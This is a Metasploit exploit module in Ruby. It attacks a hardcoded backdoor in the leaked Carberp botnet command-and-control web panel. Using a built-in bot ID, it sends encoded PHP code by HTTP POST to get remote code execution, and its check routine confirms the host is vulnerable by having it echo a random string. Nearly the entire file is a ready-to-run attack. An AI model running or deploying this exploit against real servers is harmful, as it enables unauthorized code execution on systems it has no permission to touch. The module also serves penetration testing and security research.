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require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => 'Carberp Web Panel C2 Backdoor Remote PHP Code Execution',
'Description' => %q{
This module exploits backdoors that can be sighted all over the leaked
source code of the Carberp botnet C2 Web Panel.
},
'License' => MSF_LICENSE,
'Author' =>
[
'bwall(Brian Wallace) <bwallace[at]cylance.com>',
'connection(Luis Santana) <hacktalkblog[at]gmail.com>',
'Steven K <xylitol[at]malwareint[d0t]com>'
],
'References' =>
[
],
'Privileged' => false,
'Payload' =>
{
'Keys' => ['php'],
'Space' => 10000,
'DisableNops' => true
},
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
['carberp', {}]
],
'DisclosureDate' => 'Jun 28 2013',
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI',[true, "The path to the backdoor, often just index.php", "/index.php"]),
OptString.new('BOTID', [true, 'Hardcoded backdoor bot ID that can run PHP eval', 'BOTNETCHECKUPDATER0-WD8Sju5VR1HU8jlV']),
],self.class)
end
def check
confirm_string = rand_text_alpha(8)
cmd = "echo '#{confirm_string}';"
shell = http_send_command(cmd)
check_code = Exploit::CheckCode::Safe
if shell and shell.body.include?(confirm_string)
check_code = Exploit::CheckCode::Vulnerable
end
check_code
end
def http_send_command(cmd)
uri = normalize_uri(target_uri.path.to_s)
request_parameters = {
'method' => 'POST',
'uri' => uri,
'vars_post' =>
{
'id' => datastore['BOTID'],
"data" => Rex::Text.encode_base64(cmd.unpack('H*'))
}
}
res = send_request_cgi(request_parameters)
res
end
def exploit
http_send_command(payload.encoded)
end
end
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